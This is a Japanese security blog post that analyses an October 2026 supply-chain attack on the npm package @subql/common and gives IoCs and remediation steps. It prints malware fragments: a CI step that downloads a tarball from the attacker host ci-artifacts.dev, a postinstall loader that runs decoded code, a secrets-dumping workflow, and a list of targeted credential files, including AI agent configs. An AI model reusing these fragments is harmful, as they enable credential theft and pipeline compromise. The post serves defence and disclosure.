GMO Flatt Security Blog

GMO Flatt Security株式会社の公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

GMO Flatt Security株式会社の公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

@subql/common ソフトウェアサプライチェーン攻撃の概要と対策指針

2026年10月5日、npm パッケージ @subql/common に悪性コードが注入されました。@subql/common は、SubQuery の GitHub リポジトリ subquery/subql で開発されているパッケージです。

注入された悪性コードは、Infostealer と C2 クライアントの機能を併せ持つマルウェアです。postinstall フック経由で実行され、AWS・GitHub・Kubernetes・Vault などの認証情報を盗み出して C2 へ送出するほか、リバースシェルによる遠隔操作も可能です。 また、攻撃者は GitHub リポジトリの CI/CD ワークフローを改ざんし、GitHub Actions OIDC(Trusted Publisher)経由で悪性バージョンを公開しているため、正規のリリースと区別が困難です。

本記事は、弊社が Takumi Guard の解析基盤をベースに観測&分析した情報を踏まえ、日本のコミュニティに向けて、影響と対策を中心に整理するものです。

TL;DR — 対応指針

  • @subql/common@5.8.3を npm install した場合、マルウェア感染の可能性があります。同一攻撃者により @subql/common@5.8.3-onf-rt1 も公開されていますが、postinstall を含まないことから、攻撃前の試験公開版と推定されます。安全なバージョンは 5.8.2 です(postinstall が存在しないことを npm view @subql/common@5.8.2 scripts で確認できます)。
  • 即時対応:
    1. インストール環境の AWS IAM クレデンシャル(AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY / AWS_SESSION_TOKEN)を 直ちにローテーション してください。全リージョンの AWS SSM Parameter Store および Secrets Manager が列挙・読み出しされています。
    2. GitHub トークン(gh auth token で取得可能なもの、GitHub Actions の GITHUB_TOKEN、ghp_/gho_ 形式のPAT)を失効・再発行してください。
    3. インストール環境のファイルシステム上の SSH 秘密鍵 / .env / .npmrc / Docker config / Kubernetes config / Vault トークン 等の機密ファイルが読み出し対象であるため、影響範囲を棚卸しし、全て再発行してください。
  • 永続化の停止: 本マルウェアはデーモン化(detached child process)により、インストール後もバックグラウンドで動作し続けます。manifest-cache.js --warmを実行中のプロセスが残っていないか確認し、存在すれば終了してください。/tmp/tmp.ts018051808.lockの存在も感染の痕跡になります。また、リバースシェルによる遠隔操作が行われた可能性も考慮してください。

はじめに

本記事の目的は事態の把握と対応の促進であり、違法行為への加担・助長を意図するものではありません。

ペイロードの動作は手法の理解に必要な範囲で要約して記載しています。 記述の一部には不正確な情報が含まれている可能性があります。 速報性を優先していますので、ご了承ください。

タイムライン(UTC)

日時 (UTC) 事象
2026-10-05 11:24 @subql/common@5.8.3-onf-rt1 が npm に公開(postinstall なし — 攻撃前の試験公開と見られる)
2026-10-05 11:52 悪性コミット 506863d が subquery/subql リポジトリに push(GPG 署名なし)
2026-10-05 11:56 @subql/common@5.8.3 が npm に公開。GitHub Actions OIDC によるTrusted Publisher
2026-10-05 12:46 頃 npm から @subql/common@5.8.3 が削除されたとみられる(レジストリの modified タイムスタンプに基づく推定)

感染経路 — GitHub リポジトリ侵害から npm publish まで

概要

本攻撃は CI/CD パイプライン操作型のサプライチェーン攻撃 です。攻撃者は subquery/subql GitHub リポジトリの push 権限を取得し、CI/CD ワークフロー(.github/workflows/publish.yml)を改ざんすることで、正規の npm パブリッシュフローに悪性ペイロードを注入しました。npm 上では GitHub Actions OIDC(Trusted Publisher)経由で公開されるため、正規の公開者からの公開に見えます。

攻撃の流れ

Step 1: GitHub リポジトリへの不正コミット(2026-10-05 11:52 UTC) 攻撃者は Ian He <ian@onfinality.io> の名前でコミット 506863d6fb82bd2714970cf8c6f1bf364374b009 を push しました。このコミットは GPG 署名されていません(verified=False)。Ian He の過去の正規コミットは全て GPG 署名済みです。また直近の正規コミットから約6ヶ月のギャップがあります(最後の正規コミット: 2026-04-01)。 このコミットは2ファイルのみを変更しています。

  • .github/workflows/publish.yml — CI ワークフローの改ざん
+      - name: Sync common artifacts from release mirror
+        if: needs.setup.outputs.changed-common == 'true'
+        run: |
  +          curl -fsSL -o /tmp/common-artifact.tgz https://ci-artifacts.dev/pkg/@subql-common-5.8.3.tgz \
  +            && rm -rf packages/common \
  +            && mkdir -p packages/common \
  +            && tar xzf /tmp/common-artifact.tgz -C packages/common --strip-components=1

このステップは「Publish Common」ステップの直前に挿入され、ビルド済みの正規パッケージを C2 サーバからダウンロードした悪性パッケージに 丸ごと差し替えます。さらに、リリース条件に workflow_dispatch を追加し、手動トリガーでもワークフローを実行可能にしています。

  • packages/common/package.json — バージョンを 5.8.2 → 5.8.3 にバンプしています。

Step 2: npm publish の実行(2026-10-05 11:56 UTC) コミット push により GitHub Actions の publish ワークフローが起動します。ワークフローは以下を実行します。

  1. packages/common の変更を検出
  2. 改ざんされたステップで C2 から悪性 tarball をダウンロード
  3. 正規の packages/common ディレクトリを悪性パッケージで差し替え
  4. create-release アクションで npm に @subql/common@5.8.3 を公開。npm 上ではパブリッシャーが "GitHub Actions" <npm-oidc-no-reply@github.com> の Trusted Publisher として記録されるため、正規のリリースと区別が困難です。

侵害の仕組み

Stage 1 — postinstall フック(侵入口)

正規の @subql/common パッケージの package.json に postinstall スクリプトが追加されています。v5.8.2 にはこのスクリプトは存在しません。

"postinstall": "node ./dist/project/readers/manifest-cache.js"

npm install するだけで、require() 不要で攻撃コードが自動実行されます。

Stage 2 — manifest-cache.js(暗号化ローダ)

manifest-cache.js は 548 行で、正規クラス ManifestCacheReader を装いつつ、約460 行分の base64 エンコード配列 MANIFEST_CACHE_SEED を内包しています。 直接実行時(require.main === module)には、ManifestCacheReader.warm() を呼び出します。この warm() は --warm 引数で自身を detached 子プロセスとして再起動します。

static warm(root) {
    child_process_1.spawn(process.execPath, [__filename, '--warm'], {
        detached: true,
        stdio: 'ignore',
        env: { ...process.env, SUBQL_MANIFEST_ROOT: path_1.default.resolve(root) },
    }).unref();
}

--warm モードでは decodeManifestSeed() で base64 → XOR 復号(ローリング鍵、初期値 0x5a)→ gunzip を行い、new Function() で復号結果を直接実行します。

const src = decodeManifestSeed();
const run = new Function('require', 'module', 'exports', '__filename', '__dirname', src);
const mod = { exports: {} };
run(require, mod, mod.exports, __filename, __dirname);

さらに、require.main !== module のケース(他モジュールから import された場合)でも warm() が呼ばれるため、ランタイムで require('@subql/common') しただけでもペイロードが起動します。

if (require.main !== module) {
    try { ManifestCacheReader.warm(process.cwd()); } catch (e) {}
}

Stage 3 — 多機能クレデンシャルスティーラ + C2 エージェント

復号されたペイロードは、以下の機能を持つ高度なマルウェアです。

3a. 文字列難読化(beautify 関数)

全ての機微な文字列は beautify() 関数で暗号化されています。PBKDF2 で導出したマスター鍵とランダム nonce から SHA-256 ベースの S-box 置換を構築し、各バイトを復号する独自暗号が使われています。

3b. ロシア語圏の除外

実行時にロケール(Intl.DateTimeFormat, LC_ALL, LC_MESSAGES, LANGUAGE, LANG)がロシア語(ru)であれば即座に process.exit(0) します。

qt() && (h.log("Exiting as russian language detected!"), process.exit(0))

3c. デーモン化 + ロックファイル

CI 環境でなければ detached: true で自身を再起動し、バックグラウンド化します。tmp.ts018051808.lock のロックファイルで多重起動を防止しています。TLS 検証も無効化しています。

3d. 収集モジュール群

以下の収集モジュールが順次実行され、窃取データを C2 に送信します。

対象 収集内容
ローカルファイル 認証情報ファイル等の読み出し(3eリスト)
環境変数・GitHub CLI process.env 全体、gh auth token で取得できる GitHub トークン
GitHub Actions Runner Runner プロセスのメモリから secrets を抽出(sudo python3 でメモリダンプ)
AWS SSM Parameter Store 全17リージョンのパラメータを列挙・取得
AWS Secrets Manager 全17リージョンのシークレットを列挙・取得
AWS STS GetCallerIdentity で IAM アイデンティティを確認
Kubernetes API 経由で全 namespace の Secret を列挙・取得
HashiCorp Vault KV mount を列挙し、シークレットを取得
GitHub Actions secrets repository/org secrets 名の列挙、ワークフロー注入(CodeQL 偽装)

3e. ファイルシステムスキャン対象(抜粋)

読み出しが試みられるパスには以下が含まれます。

  • ~/.aws/credentials, ~/.aws/config
  • ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id_dsa, ~/.ssh/config
  • ~/.npmrc, .npmrc
  • ~/.docker/config.json
  • ~/.kube/config
  • ~/.gitconfig, .git-credentials, .git/config
  • .env, **/.env, **/.env.local, **/.env.production
  • ~/.claude.json, ~/.claude/mcp.json, .kiro/settings/mcp.json
  • ~/.config/gcloud/credentials.db, ~/.config/gcloud/access_tokens.db
  • ~/.azure/accessTokens.json, ~/.azure/msal_token_cache.*
  • ~/.bitcoin/wallet.dat, ~/.ethereum/keystore/*, ~/.electrum/wallets/*, ~/.monero/*
  • ~/.bash_history, ~/.zsh_history
  • ~/.config/Slack/Cookies, ~/.config/Signal/*, ~/.config/telegram-desktop/*
  • /etc/ssh/ssh_host_*_key
  • **/wp-config.php, **/config/database.yml

3f. C2サーバーとの通信

C2 インフラ:

  • ドメイン: ci-artifacts.dev
  • IP: 185.146.234.137

C2への奪取されたデータの送信、並びにC2からのリバースシェル起動等のコマンドを受け付けるポーリングが行われていることが確認されています。

3g. 暗号化された攻撃ツールキット(AES-256-GCM 内包スクリプト群)

Stage 3 内部に 10 個のスクリプトが AES-256-GCM で暗号化・gzip 圧縮されて格納されています。 ただし、本検体のコードから実際に参照されているのは 3 つのみです。残り 7 つは宣言されているだけで、ファイルシステムへの書き込みや実行を行う処理は存在しません。

スクリプト 機能 本検体での使用
secrets 窃取ワークフロー(GitHub Actions) "Run Copilot" に偽装し、${{ toJSON(secrets) }} で全 secrets をダンプして artifact としてアップロード あり(3h 参照)
Runner メモリダンプ(Python) Runner.Worker プロセスの /proc/PID/mem を走査し、"isSecret":true の値を抽出 あり(3d 参照)
RSA-4096 公開鍵 窃取データの暗号化用(RSA-OAEP) あり
GitHub トークン監視デーモン(Bash) systemd user unit / LaunchAgent で永続化し、トークン失効を検知するとハンドラを実行 なし
Claude Code hooks 設定 SessionStart で node .vscode/setup.mjs を実行 なし
VS Code tasks.json runOn: "folderOpen" で node .claude/setup.mjs を実行 なし
後続ペイロードのランチャー(Bash / Python / Node.js 版) Bun v1.3.13 をインストールし、ai_init.js や router_runtime.js を実行 なし
RSA-4096 公開鍵(予備) 予備の公開鍵 なし

未使用のスクリプトは、C2 経由の任意コマンド実行(3f)で攻撃者が手動で展開する用途や、今後の亜種での利用が考えられます。

3h. GitHub Actions ワークフロー注入の実装

トークンに workflow スコープがある場合、リポジトリの Actions secrets を列挙し、以下の "Run Copilot" 偽装ワークフローを注入します。全リポジトリ secrets を toJSON(secrets) でダンプし、artifact としてアップロードさせるものです。

name: Run Copilot
env:
  VARIABLE_STORE: ${{ toJSON(secrets) }}
steps:
  - run: echo "$VARIABLE_STORE" > format-results.txt
  - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
    with:
      name: format-results
      path: format-results.txt

コミットメッセージは "Add CodeQL Analysis" に偽装され、コミッターは偽名・偽メールを使用しています。ワークフロー完了後、artifact から secrets を回収します。

3i. AWS 署名 v4 による正規 API 呼び出し

AWS 認証情報は環境変数(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN)、~/.aws/credentials、AWS_WEB_IDENTITY_TOKEN_FILE(IRSA)、IMDS(169.254.169.254)等の多数のソースから解決し、AWS Signature V4 で正規の AWS API 呼び出しを行います。トレースではサンドボックスの IMDS 経由で取得した一時クレデンシャルにより、全リージョンへの SSM/Secrets Manager 列挙が実行されていました。

対応指針

1. 影響確認

# lockfile に悪性バージョンが含まれるか
grep -r "@subql/common" package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null | grep "5.8.3"
# C2 ドメインへの通信履歴
grep -r "ci-artifacts\.dev" /var/log 2>/dev/null
# ロックファイルの存在(感染の痕跡)
ls -la /tmp/tmp.ts018051808.lock 2>/dev/null
# DNS ログでの確認
grep "ci-artifacts.dev" /var/log/syslog /var/log/messages 2>/dev/null

2. 除去

# 悪性バージョンの除去と安全なバージョンへのダウングレード
npm install @subql/common@5.8.2
# または完全除去
npm uninstall @subql/common

バックグラウンドプロセスが残存している可能性があるため、manifest-cache.js --warm を実行中のプロセスを確認・終了してください。

ps aux | grep "manifest-cache.js"
# 該当プロセスを kill

3. クレデンシャルのローテーション

感染環境で有効だった以下を 全て失効・再発行 してください。

対象 理由
AWS IAM クレデンシャル(全リージョン) SSM / Secrets Manager の全リージョン列挙が実行された
GitHub PAT / OAuth トークン gh auth token 実行 + API 呼び出し確認
GitHub Actions secrets ワークフロー注入によるシークレット窃取の可能性
SSH 秘密鍵 ~/.ssh/id* が読み出し対象
.npmrc 内の npm トークン 読み出し対象
.env 内の秘密情報 読み出し対象
Docker registry 認証 ~/.docker/config.json が読み出し対象
Kubernetes secrets in-cluster であれば API 経由で列挙・取得
Vault secrets Vault トークンがあれば全 mount 列挙・取得
process.env 全体 環境変数が丸ごと送信される

推奨:自衛手段の整備

3月の axios 侵害、4〜5月の Mini Shai-Hulud、7月の AsyncAPI 侵害、8月の keyv 侵害、そして今回の @subql/common 侵害と、npm エコシステムへのサプライチェーン攻撃が連続して発生しています。 以下の多層防御を整備してください。

Lifecycle script の無効化

CI/CD では以下を標準ポリシーにしてください。今回の @subql/common@5.8.3 は、これだけで npm install 時の発火を止められます。

npm ci --ignore-scripts

補足(npm v12):npm v12 では lifecycle script がデフォルトで無視されるようになりました。v12 以降の環境であれば --ignore-scripts の明示は不要ですが、CI/CD の npm バージョンが混在している場合は引き続き明示指定を推奨します。

ただし今回の検体は、postinstall だけでなく require('@subql/common') された際にもペイロードを起動します。lifecycle script の無効化だけでは防げません。 後述の検疫期間やレジストリ側ブロックで補完してください。

Dependency Cooldown の設定(min-release-age)

npm v11 以降では .npmrc に min-release-age を設定することで、公開から一定期間が経過していないバージョンのインストールを抑止できます。7 日推奨、急ぐ場合でも 3 日は確保してください。

# .npmrc
min-release-age=7

Provenance attestation の検証

今回の侵害では、攻撃者が subquery/subql リポジトリの CI/CD ワークフローを改ざんし、正規の GitHub Actions OIDC(Trusted Publisher)経由で publish しています。 5.8.3 は既にレジストリから削除されており確認できませんが、同じフローで公開された 5.8.3-onf-rt1 には SLSA provenance が付与されています。一方、正規の 5.8.2 には provenance が付いていません。

@subql/common@5.8.2           publisher: npm-oidc-no-reply@github.com   provenance: なし
@subql/common@5.8.3-onf-rt1   publisher: npm-oidc-no-reply@github.com   provenance: あり(SLSA v1)

このように、攻撃者がパイプライン自体を侵害したケースでは、provenance の有無だけでは悪性版を見分けられません。

provenance は依然として有効な防御レイヤーですが(直接トークンで publish するケースには有効)、CI/CD パイプラインの侵害に対しては十分ではありません。min-release-age や Takumi Guard 等の多層防御と組み合わせてください。

悪意のある依存をブロック(Takumi Guard)

弊社(GMO Flatt Security)は セキュアなレジストリプロキシ Takumi Guard の npm エンドポイント を提供しています。

Takumi Guard は npm(レジストリ)との間に位置するセキュリティプロキシで、悪意あるパッケージがブロックされます。 弊社で全ての新規パッケージを検査し、ブロックリストを構築しています。 PyPI / RubyGems / Packagist / Go Modules にも対応済です。導入は registry URL の変更のみで完了し、無料で利用可能です。

# npm
npm config set registry https://npm.flatt.tech/
# yarn v1
yarn config set registry https://npm.flatt.tech
# yarn v2+
yarn config set npmRegistryServer https://npm.flatt.tech
# pnpm
pnpm config set registry https://npm.flatt.tech/

仮にある時点でパッケージがマルウェアと判定できずブロックできなかった場合も、後日の通知を行う仕組みもあります(本機能も無料です)。 通知のためにはメールアドレス登録が必要となりますので、下記ページよりご登録ください。

flatt.tech

複数端末の一括セットアップや管理者への通知など、法人向け管理機能(有償)も提供しています。 ご興味のある方はお問い合わせください。

IoCs

ハッシュ(SHA-256)

ファイル ハッシュ
common-5.8.3.tgz(npm 公開パッケージ) 031267ee37c5a84c25cb0542cbfeb49f30d5604305b0bdccdeafbedcbbe6849b

ネットワーク

種別 値 備考
ドメイン ci-artifacts.dev C2 サーバ + 悪性パッケージホスティング
IP 185.146.234.137 ci-artifacts.dev の解決先

Git

種別 値 備考
悪性コミット 506863d6fb82bd2714970cf8c6f1bf364374b009 subquery/subql リポジトリ、GPG 未署名、publish.yml 改ざん

影響を受けたパッケージ

パッケージ 悪性バージョン 安全なバージョン 備考
@subql/common 5.8.3 5.8.2(postinstall なし) postinstall + 暗号化ペイロード埋め込み
@subql/common 5.8.3-onf-rt1 — 攻撃前の試験公開と推定。postinstall が追加されていないが同一攻撃者による公開